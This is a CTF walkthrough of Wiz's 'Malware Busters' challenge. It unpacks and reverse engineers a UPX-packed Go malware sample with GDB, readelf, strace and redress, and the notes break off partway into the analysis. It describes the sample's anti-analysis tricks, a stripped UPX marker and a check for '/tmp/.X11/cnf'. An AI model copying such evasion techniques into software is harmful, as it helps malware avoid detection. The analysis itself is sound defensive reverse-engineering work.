Intro

This is my walkthrough of wiz's CTF challenge Malware Bustershttps://www.cloudsecuritychampionship.com/challenge/6 , which focused golang reverse engineering.

This post assumes a degree of familiarity with:

  • What an ELF file contains and roughly how it works
  • GDB, and how to read breakpoints
  • High level RE concepts: static vs dynamic analysis, breakpoints, catchpoints ...

We start off with a small shell to a cloud VM in the browser. Browsing around we see a binary buu, so I tar & base64 it to extract it from the cloud vm, then in my local VM:

$ mcd wiz                   
mkdir: created directory 'wiz'
$ paste | base64 -d > wiz.tgz
$ tar -xzf wiz.tgz                            
$ ls             
buu  wiz.tgz

Initial analysis

[~/ctf]$ file buu      
buu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
[~/ctf]$ ls -l buu      
-rwxr-xr-x 1 hendo hendo 2016068 Dec  9 00:29 buu

[~/ctf]$ readelf -eW ./buu      
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x5eb950
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         3
  Size of section headers:           64 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x1ec2c8 0x1ec2c8 R E 0x1000
  LOAD           0x000000 0x00000000005ed000 0x00000000005ed000 0x000000 0x2d8860 RW  0x1000
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x8


This tells us: - 64 bit ELF file - quite large @ 2MB - statically linked, no library dependencies - no sections

One thing we can notice is that when we compress it, the binary hardly shrinks. this indicates the content is largely already compressed / encrypted.I didn't but you could do more formal entropy analysis, for example with r2:

The small number of sections and stuff feels like a packerhttps://github.com/packing-box/awesome-executable-packing , and sure enough, there's our UPXhttps://github.com/upx/upx string:

$ strings buu

executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

Extracting binary from UPX

Can binwalk find the compressed data using a known signature, within the binary?

$ binwalk buu    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
1925319       0x1D60C7        AES S-Box
1925605       0x1D61E5        AES Inverse S-Box
2013976       0x1EBB18        Copyright string: "Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $"

Nope. The presence of an AES S-BOX and Inverse S-BOX next to each other is interesting, indicating this is a true positive finding. UPX doesn't support any AES encryption to my knowledge, and it shouldn't be strings from the original binary, as UPX compresses it. So not sure what these are doing here.

UPX effectively has a small decompression stub that decompresses the rest of the file in memory. UPX has a "decompress" feature we can try and use to recover the original binary:

[~/ctf]$ upx -d buu -o buu.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: buu: NotPackedException: not packed by UPX

Unpacked 0 files.

Doesn't decompress. Might be my upx version (3.95) can't decompress from 3.96, so let's install an up to date UPX from source. Alternatively the challenge authors might have modified the file to not be straightforward to reverse, or maybe it's not UPX and it's just a red herring. Popping the bin open in cutter suggests it is UPX, as we have only a small exposed set of functions, despite the binary being ~2MB. Attempting decompression with up to date UPX:

[~/ctf]$ ./upx-5.0.2-amd64_linux/upx -d buu
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2025
UPX 5.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 20th 2025

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: buu: NotPackedException: not packed by UPX

That also fails :(, this makes me more confident they've done something to mess up the UPX decompression.

If we use UPX ourselves to compress a binary and search for strings, we see some different indicators to our binary:

[~/ctf]$ upx /usr/bin/ls -o ls.upx
[~/ctf]$ strings ./ls.upx | grep -i upx 
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
UPX!u
UPX!
UPX!

[~/ctf]$ strings buu| grep -i upx      
6'Upx
uuPX7
 executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

Looks like the challenge bin is missing a bunch of the UPX! markers, that might be a deliberate measure to prevent extraction.

Let's give up on static recovery, and switch to dynamic analysis.

Dynamic unpacking

The whole point of UPX is to decompress a binary in memory. This means that if we debug it while it runs we should be able to observe and extract the embedded ELF file. Unpacking / running binaries in memory requires liberal use of mmap / mprotectSee the original treatise on in-memory loading https://grugq.github.io/docs/ul_exec.txt . So let's use GDB to run the UPX'd binary, and examine memory.

To do this I install a breakpoint on mmap / mprotect syscalls with catchpoints, and use the vmmap command to dump memory segments:

gdb-peda$ catch syscall mmap
gdb-peda$ catch syscall mprotect

Breakpoint one:

Before:

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x005ed000         r-xp  /home/hendo/synactiv/wiz/buu
0x005ed000         0x008c6000         rw-p  [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 --xp  [vsyscall]

After mmap 1:

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x005ed000         r-xp  /home/hendo/synactiv/wiz/buu
0x005ed000         0x008c6000         rw-p  [heap]
0x00007ffff7e0c000 0x00007ffff7ff9000 rw-p  mapped     < --- NEW
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 --xp  [vsyscall]

We see a memory backed region created.

After mmap2:

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x005ed000         r-xp  /home/hendo/synactiv/wiz/buu
0x005ed000         0x008c6000         rw-p  [heap]
0x00007ffff7e0c000 0x00007ffff7ff9000 rw-p  /home/hendo/synactiv/wiz/buu <- mapped to file?? 
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 --xp  [vsyscall]

After mprotect region is split in 2, and is now an r-xp segment:

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x005ed000         r-xp  /home/hendo/synactiv/wiz/buu
0x005ed000         0x008c6000         rw-p  [heap]
0x00007ffff7e0c000 0x00007ffff7ff7000 rw-p  /home/hendo/synactiv/wiz/buu <- split into 2 regions: RW
0x00007ffff7ff7000 0x00007ffff7ff9000 r-xp  /home/hendo/synactiv/wiz/buu <- RX
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 --xp  [vsyscall]

We see the next instruction is a jump to 0x00007ffff7ff7c96:

  0x5ebc26: push   0xa
   0x5ebc28:    pop    rax
   0x5ebc29:    syscall 
=> 0x5ebc2b:    jmp    r13
 | 0x5ebc2e:    pop    rbp
 | 0x5ebc2f:    call   0x5ebb70
 | 0x5ebc34:    (bad)
 | 0x5ebc35:    jo     0x5ebca9
 |->   0x7ffff7ff7c47:  call   0x7ffff7ff7c96
       0x7ffff7ff7c4c:  cmp    ecx,0x49
       0x7ffff7ff7c4f:  jne    0x7ffff7ff7c95
       0x7ffff7ff7c51:  push   rbx

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x0063c000         rwxp  mapped
0x0063c000         0x008c6000         ---p  [heap]
0x00007ffff7e0c000 0x00007ffff7ff7000 rw-p  /home/hendo/synactiv/wiz/buu
0x00007ffff7ff7000 0x00007ffff7ff9000 r-xp  /home/hendo/synactiv/wiz/buu
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 --xp  [vsyscall]

This is within the new executable region. In other words the decryption / decompression stub is finished and is now jumping

So we use the dump command to dump the new regions to disk to examine them:

gdb-peda$ dump binary memory mem.bin 0x00400000 0x0063c000

$ file mem.bin 
mem.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, too large section header offset 3268544


$ strings mem.bin:
myhostnaM9"uRfA
<$succu fA
notfoundI9
unixgramH9
unixpackH9
unixpackL9
unixgramL9
unixpackL9
unixgramH9
unixpackH9
CERTIFICH92u#f
key expaH9
master sH9
client fH9
server fH9
|$0H9w uFH
us-asciiH9
t$`H9N sUH
D$`I9@ sML
localhosH9
*http2.TH9
ransportH9H
AuthorizH9
enticateH9H
httponlyL9
samesiteL9
:authoriI98uFfA
d$PL9T$XuDL
Content-H9
HTTP/1.0H9
no-cacheH9

Great, file tells us it's an ELF fileor at least the first part of one... . In the strings output we can see some references there to HTTP etc, so seems to fit the description of our challenge authors: some malware that does C2 via HTTP.

Opening in cutter looks quite ugly and maybe golang. Strings finds some stuff that suggest golang too:

[~/ctf]$ strings mem.bin | grep -i go    
GODEBUG=H92
GODEBUG=1
gopau$f
gopau!f
gopau&f
@GO?

Looking at the output of readelf, vs a std golang binary, they appear quite similar in section layout etc (agent is stripped):

$ readelf -eW mem.bin    
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x465380
  Start of program headers:          64 (bytes into file)
  Start of section headers:          568 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         26
  Section header string table index: 9
readelf: Error: Reading 256 bytes extends past end of file for string table
readelf: Error: Reading 912 bytes extends past end of file for symbols

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0] <no-strings>      NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] <no-strings>      PROGBITS        0000000000401000 001000 23a4bb 00  AX  0   0 32
  [ 2] <no-strings>      PROGBITS        000000000063b4c0 23b4c0 000220 10  AX  0   0 16
  [ 3] <no-strings>      PROGBITS        000000000063c000 23c000 0e1ad1 00   A  0   0 32
  [ 4] <no-strings>      RELA            000000000071dad8 31dad8 000018 18   A 11   0  8
  [ 5] <no-strings>      RELA            000000000071daf0 31daf0 000318 18   A 11   2  8
  [ 6] <no-strings>      VERSYM          000000000071de20 31de20 00004c 02   A 11   0  2
  [ 7] <no-strings>      VERNEED         000000000071de80 31de80 000070 00   A 10   1  8
  [ 8] <no-strings>      HASH            000000000071df00 31df00 0000bc 04   A 11   0  8
  [ 9] <no-strings>      STRTAB          0000000000000000 31dfc0 000100 00      0   0  1
  [10] <no-strings>      STRTAB          000000000071e0c0 31e0c0 000230 00   A  0   0  1
  [11] <no-strings>      DYNSYM          000000000071e300 31e300 000390 18   A 10   1  8
  [12] <no-strings>      PROGBITS        000000000071e6a0 31e6a0 0013e4 00   A  0   0 32
  [13] <no-strings>      PROGBITS        000000000071faa0 31faa0 000818 00   A  0   0 32
  [14] <no-strings>      PROGBITS        00000000007202b8 3202b8 000000 00   A  0   0  1
  [15] <no-strings>      PROGBITS        00000000007202c0 3202c0 12f2b0 00   A  0   0 32
  [16] <no-strings>      PROGBITS        0000000000850000 450000 000030 00  WA  0   0 16
  [17] <no-strings>      DYNAMIC         0000000000850040 450040 000120 10  WA 10   0  8
  [18] <no-strings>      PROGBITS        0000000000850160 450160 000120 08  WA  0   0  8
  [19] <no-strings>      PROGBITS        0000000000850280 450280 000008 08  WA  0   0  8
  [20] <no-strings>      PROGBITS        00000000008502a0 4502a0 031178 00  WA  0   0 32
  [21] <no-strings>      PROGBITS        0000000000881420 481420 00ab30 00  WA  0   0 32
  [22] <no-strings>      NOBITS          000000000088bf60 48bf60 031b40 00  WA  0   0 32
  [23] <no-strings>      NOBITS          00000000008bdaa0 4bdaa0 007dc0 00  WA  0   0 32
  [24] <no-strings>      NOBITS          0000000000000000 000000 000008 00 WAT  0   0  8
  [25] <no-strings>      PROGBITS        0000000000400fe4 000fe4 00001c 00   A  0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R   0x1000
  INTERP         0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x23b6e0 0x23b6e0 R E 0x1000
  LOAD           0x23c000 0x000000000063c000 0x000000000063c000 0x213570 0x213570 R   0x1000
  LOAD           0x450000 0x0000000000850000 0x0000000000850000 0x03bf60 0x075860 RW  0x1000
  DYNAMIC        0x450040 0x0000000000850040 0x0000000000850040 0x000120 0x000120 RW  0x8
readelf: Error: no .dynamic section in the dynamic segment
  TLS            0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R   0x8
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x8
  LOOS+0x5041580 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000     0x8
readelf: Error: Reading 288 bytes extends past end of file for dynamic section


[~/ctf]$ readelf -eW agent                                   
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x476300
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6732696 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         27
  Section header string table index: 26

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        0000000000401000 001000 313031 00  AX  0   0 32
  [ 2] .plt              PROGBITS        0000000000714040 314040 0002b0 10  AX  0   0 16
  [ 3] .rodata           PROGBITS        0000000000715000 315000 13d961 00   A  0   0 32
  [ 4] .dynsym           DYNSYM          0000000000853200 453200 000468 18   A 10   1  8
  [ 5] .rela             RELA            0000000000852968 452968 000018 18   A  4   0  8
  [ 6] .rela.plt         RELA            0000000000852980 452980 0003f0 18  AI  4  17  8
  [ 7] .gnu.version      VERSYM          0000000000852d80 452d80 00005e 02   A  4   0  2
  [ 8] .gnu.version_r    VERNEED         0000000000852de0 452de0 000060 00   A 10   2  8
  [ 9] .hash             HASH            0000000000852e40 452e40 0000e0 04   A  4   0  8
  [10] .dynstr           STRTAB          0000000000852f20 452f20 0002cb 00   A  0   0  1
  [11] .typelink         PROGBITS        0000000000853680 453680 002004 00   A  0   0 32
  [12] .itablink         PROGBITS        00000000008556a0 4556a0 000d10 00   A  0   0 32
  [13] .gosymtab         PROGBITS        00000000008563b0 4563b0 000000 00   A  0   0  1
  [14] .gopclntab        PROGBITS        00000000008563c0 4563c0 1f68e8 00   A  0   0 32
  [15] .go.buildinfo     PROGBITS        0000000000a4d000 64d000 0004c0 00  WA  0   0 16
  [16] .dynamic          DYNAMIC         0000000000a4d4c0 64d4c0 000150 10  WA 10   0  8
  [17] .got.plt          PROGBITS        0000000000a4d620 64d620 000168 08  WA  0   0  8
  [18] .got              PROGBITS        0000000000a4d788 64d788 000008 08  WA  0   0  8
  [19] .noptrdata        PROGBITS        0000000000a4d7a0 64d7a0 00fb40 00  WA  0   0 32
  [20] .data             PROGBITS        0000000000a5d2e0 65d2e0 00e7d0 00  WA  0   0 32
  [21] .bss              NOBITS          0000000000a6bac0 66bab0 022720 00  WA  0   0 32
  [22] .noptrbss         NOBITS          0000000000a8e1e0 66bab0 006720 00  WA  0   0 32
  [23] .tbss             NOBITS          0000000000000000 66bab0 000008 00 WAT  0   0  8
  [24] .interp           PROGBITS        0000000000400fe4 000fe4 00001c 00   A  0   0  1
  [25] .note.go.buildid  NOTE            0000000000400f80 000f80 000064 00   A  0   0  4
  [26] .shstrtab         STRTAB          0000000000000000 66bab0 0000e8 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R   0x1000
  INTERP         0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  NOTE           0x000f80 0x0000000000400f80 0x0000000000400f80 0x000064 0x000064 R   0x4
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x3142f0 0x3142f0 R E 0x1000
  LOAD           0x315000 0x0000000000715000 0x0000000000715000 0x337ca8 0x337ca8 R   0x1000
  LOAD           0x64d000 0x0000000000a4d000 0x0000000000a4d000 0x01eab0 0x047900 RW  0x1000
  DYNAMIC        0x64d4c0 0x0000000000a4d4c0 0x0000000000a4d4c0 0x000150 0x000150 RW  0x8
  TLS            0x66bab0 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R   0x8
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .note.go.buildid 
   03     .text .plt .interp .note.go.buildid 
   04     .rodata .dynsym .rela .rela.plt .gnu.version .gnu.version_r .hash .dynstr .typelink .itablink .gosymtab .gopclntab 
   05     .go.buildinfo .dynamic .got.plt .got .noptrdata .data .bss .noptrbss 
   06     .dynamic 
   07     .tbss 
   08     

Ok so I think this is likely golang. I've not done much with golang before but in my reversing notes I have a link to https://github.com/go-delve/delve, so let's give that a go. Okay turns out it's a dynamic debugger, not a static decompiler or something. If we go down the dynamic route we should start off wit

https://github.com/go-delve/delve/blob/master/Documentation/cli/getting_started.md

and it needs source code analysis

Dynamic analysis

Ok let's switch approach. We'll dynamically run the binary and see what it does:

The following docker cmd runs the binary in a container with qemu-sandbox, just for a bit of file system isolation:

$ docker run --rm -it \
  --network none \
  --read-only \
  --cap-drop ALL \
  --tmpfs /tmp \
  -v ./buu:/app/binary:ro \
  -v /tmp/output:/output \
  qemu-sandbox \
  qemu-x86_64 -strace /app/binary 2>&1 | tee /output/trace.log

1 nanosleep(46913168084368,0,0,8,2,7)1 openat(AT_FDCWD,"/tmp/.X11/cnf",O_RDONLY|O_CLOEXEC) = -1 errno=2 (No such file or directory)
1 write(1,0x1a0a8,23)I don't belong here...
 = 23
1 exit_group(0)

Ok so the binary doesn't like the execution environment, maybe an anti-analysis feature. Let's use the strace log to find how that works under the hood:

nanosleep(46913168084368,0,0,8,3,7)23 openat(AT_FDCWD,"/tmp/.X11/cnf",O_RDONLY|O_CLOEXEC) = 3
23 epoll_create1(524288) = 4
23 pipe2(0xc0000c5bd0,526336) = 0
23 epoll_ctl(4,1,5,824634530868,88,96) = 0
23 epoll_ctl(4,1,3,824634530996,0,2) = -1 errno=1 (Operation not permitted)
23 fstat(3,0x000000c00009d218) = 0
23 read(3,0x180000,512) = 0
23 close(3) = 0
 = 0
23 clock_gettime(CLOCK_MONOTONIC,0x00002aaad2b80d80) = 0 ({tv_sec = 3845,tv_nsec = 926277876})
23 clock_gettime(CLOCK_MONOTONIC,0x00002aaad2b80d80) = 0 ({tv_sec = 3845,tv_nsec = 926315927})
23 epoll_pwait(4,46913168082848,128,0,0,7) = 0
23 nanosleep(46912504509760,0,0,46913453324288,16,0)23 getpid() = 23
23 tgkill(23,23,SIGURG) = 0
 = -1 errno=4 (Interrupted system call)
--- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=23, si_uid=0} ---
23 rt_sigreturn(0x7e7320) = -1 errno=513 (Successful exit from sigreturn)
23 nanosleep(46912504509760,0,0,46913453324288,16,0)23 nanosleep(46913168084368,0,0,0,4,7) = 0
23 write(2,0x69fc6f,7)panic:  = 7
23 write(2,0xd8140,53)interface conversion: interface {} is nil, not string = 53
23 write(2,0x714a7c,1)
 = 1
23 write(2,0x714a7c,1)
 = 1
23 write(2,0x6a09a1,10)goroutine  = 10
23 write(2,0xab2ab4b7,1)1 = 1
23 write(2,0x69eff5,2) [ = 2
23 write(2,0x69fd02,7)running = 7
23 write(2,0x69f186,3)]:
 = 3
23 write(2,0x74d971,13)main.qvHPoPlV = 13
23 write(2,0x714a88,1)( = 1
23 write(2,0xab2aaefd,3)0x0 = 3
23 write(2,0x69efde,1)? = 1
23 write(2,0x69f003,2),  = 2
23 write(2,0xab2aaefd,3)0x0 = 3
23 write(2,0x69efde,1)? = 1
23 write(2,0x69f001,2))
 = 2
23 write(2,0x715a48,1)   = 1
23 write(2,0x753256,11)b8FPSRZ5.go = 11
23 write(2,0x69efda,1): = 1
23 write(2,0xab2aafa7,1)1 = 1
23 write(2,0x69efed,2) + = 2
23 write(2,0xab2aafc3,5)0x4f9 = 5
23 write(2,0x714a7c,1)
 = 1
23 write(2,0x74da11,9)main.main = 9
23 write(2,0x714a88,1)( = 1
23 write(2,0x69f001,2))
 = 2
23 write(2,0x715a48,1)   = 1
23 write(2,0x7534ba,11)wV8ZpRDf.go = 11
23 write(2,0x69efda,1): = 1
23 write(2,0xab2aafa7,1)1 = 1
23 write(2,0x69efed,2) + = 2
23 write(2,0xab2aafc3,5)0x185 = 5
23 write(2,0x714a7c,1)
 = 1
23 exit_group(2)

/app/binary        
panic: interface conversion: interface {} is nil, not string

goroutine 1 [running]:
main.qvHPoPlV(0x0?, 0x0?)
    b8FPSRZ5.go:1 +0x4f9
main.main()
    wV8ZpRDf.go:1 +0x185

Applying symbols from upx

tostripfile=/lib/x86_64-linux-gnu/ld-2.31.so objcopy --only-keep-debug "${tostripfile}" ld.debug

go

wiz ./redress/redress packages -f mem.bin    
Packages:
Name  Version  Path
----  -------  ----
main           .

./redress/redress types all mem.bin --version go1.19 > types

  wiz grep -i flag types 
*fmt.fmtFlags
  Flags        uint
  Flags uint16
  Cloneflags                 uintptr
  Unshareflags               uintptr

Unforetunately other commands don't allow us to override the version:

  wiz ./redress/redress moduledata dump section mem.bin
Could not retrieve the file's moduledata: no goversion found.
➜  wiz ./redress/redress moduledata dump section mem.bin --version go1.19 
Error: unknown flag: --version
Usage:
  redress moduledata dump section path/to/file [flags]

Flags:
  -h, --help   help for dump

unknown flag: --version


 wiz ./redress/redress source mem.bin
Package main: .
File: ??  
  ZZzgf2nH Lines: 25 to 28 (3)  
File: MdUikZNz.go 
  WG2BdUVb Lines: 8 to 8 (0)  
File: OHFNVwMv.go 
  kYgXL_QA Lines: 9 to 13 (4) 
File: PayHhz6U.go 
  MG2pKkLO Lines: 6 to 6 (0)  
File: Tlu8txYg.go 
  main Lines: 4 to 6 (2)  
File: ZqeKlKdM.go 
  LVEnGayC Lines: 6 to 7 (1)  
File: sHYKGxoD.go 
  yprG5We4 Lines: 21 to 22 (1)  
File: sz9szsft.go 
  dT6K8IGR Lines: 4 to 4 (0)  
File: zVO72Rro.go 
  qvHPoPlV Lines: 7 to 7 (0)  

➜  wiz strings mem.bin | grep -i "main\."
runtime.main.func1
runtime.main.func2
main.ZZzgf2nH
main.kYgXL_QA
main.yprG5We4
main.WG2BdUVb
main.qvHPoPlV
main.dT6K8IGR
main.LVEnGayC
main.MG2pKkLO
main.lZpkz9zq
main.main


catch openat

We'll use the below commands to break on syscalls to openat(/tmp/.X11/cnf):

gdb$ catch syscall openat
gdb$ condition 1 $_streq((char*)$rsi, "/tmp/.X11/cnf")

Thread 1 "buu" hit Catchpoint 1 (call to syscall openat), 0x00000000004a762a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────
*RAX  0xffffffffffffffda
*RBX  0xc00002a500 ◂— 0x200000001
*RCX  0x4a762a ◂— cmp rax, -0xfff
*RDX  0x80000
*RDI  0xffffffffffffff9c
*RSI  0xc0000b02a0 ◂— '/tmp/.X11/cnf'
*R8   0
*R9   0
 R10  0
*R11  0x212
*R12  0
*R13  0
*R14  0xc0000021a0 —▸ 0xc0000ba000 —▸ 0xc0000bc000 ◂— 0
*R15  0x2a
*RBP  0xc0000bbd48 —▸ 0xc0000bbd90 —▸ 0xc0000bbdc8 —▸ 0xc0000bbea8 —▸ 0xc0000bbf70 ◂— ...
*RSP  0xc0000bbcb8 —▸ 0x4a53a5 ◂— xorps xmm15, xmm15
*RIP  0x4a762a ◂— cmp rax, -0xfff
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4a762a    cmp    rax, -0xfff     0xffffffffffffffda - -0xfff     EFLAGS => 0x202 [ cf pf af zf sf IF df of ac ]
   0x4a7630  ✘ jbe    0x4a7652                    <0x4a7652>

   0x4a7632    mov    qword ptr [rsp + 0x40], 0xffffffffffffffff     [0xc0000bbcf8] <= 0xffffffffffffffff
   0x4a763b    mov    qword ptr [rsp + 0x48], 0                      [0xc0000bbd00] <= 0
   0x4a7644    neg    rax
   0x4a7647    mov    qword ptr [rsp + 0x50], rax                    [0xc0000bbd08] <= 0x26
   0x4a764c    call   0x4662a0                    <0x4662a0>

   0x4a7651    ret    

   0x4a7652    mov    qword ptr [rsp + 0x40], rax
   0x4a7657    mov    qword ptr [rsp + 0x48], rdx
   0x4a765c    mov    qword ptr [rsp + 0x50], 0

a762a

appears to call a function with the contents of the file and the length ()

   0x4c2c4c    mov    qword ptr [rsp + 0x58], rcx     [0xc0000bbe30] <= 5
   0x4c2c51    cmp    rcx, rsi                        0x5 - 0x200     EFLAGS => 0x287 [ CF PF af zf SF IF df of ac ]
   0x4c2c54  ✔ jl     0x4c2ca9                    <0x4c2ca9>
    ↓
 ► 0x4c2ca9    mov    qword ptr [rsp + 0x80], rax     [0xc0000bbe58] <= 0xc0000f8000 ◂— 0xa74736574 /* 'test\n' */
   0x4c2cb1    mov    qword ptr [rsp + 0x70], rsi     [0xc0000bbe48] <= 0x200
   0x4c2cb6    mov    rdi, rsi                        RDI => 0x200
   0x4c2cb9    sub    rdi, rcx                        RDI => 0x1fb (0x200 - 0x5)
   0x4c2cbc    mov    r8, rdi                         R8 => 0x1fb

RAX  0
*RBX  0x716cc0 —▸ 0x667cc0 ◂— 0x10
*RCX  0xc000092040 —▸ 0x69f11a ◂— 0x7246626546464f45 ('EOFFebFr')
*RDX  0x65e701 ◂— 0x4c0000000000715c /* '\\q' */
*RDI  0xa
*RSI  0x36
*R8   2
 R9   0
 R10  0x7ffff7fad101 ◂— 0
 R11  0x202
 R12  0
 R13  0
 R14  0xc0000021a0 —▸ 0xc0000ba000 —▸ 0xc0000bc000 ◂— 0
 R15  0x40
 RBP  0xc0000bbea8 —▸ 0xc0000bbf70 —▸ 0xc0000bbfd0 ◂— 0
 RSP  0xc0000bbdd8 —▸ 0xc0000a6018 —▸ 0xc0000a8240 ◂— 0
*RIP  0x4c2cdb ◂— mov rdx, qword ptr [rsp + 0x58]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4c2cc9    lea    rbx, [rax + rdi]     RBX => 0xc0000f8005 ◂— 0
   0x4c2ccd    mov    rdi, r8              RDI => 0x1fb
   0x4c2cd0    mov    rax, rdx             RAX => 0xc0000a6018 —▸ 0xc0000a8240 ◂— 0
   0x4c2cd3    mov    rcx, rdi             RCX => 0x1fb
   0x4c2cd6    call   0x4c21a0                    <0x4c21a0>

 ► 0x4c2cdb    mov    rdx, qword ptr [rsp + 0x58]     RDX, [0xc0000bbe30] => 5
   0x4c2ce0    add    rdx, rax                        RDX => 5 (5 + 0)
   0x4c2ce3    mov    rsi, qword ptr [rsp + 0x70]     RSI, [0xc0000bbe48] => 0x200
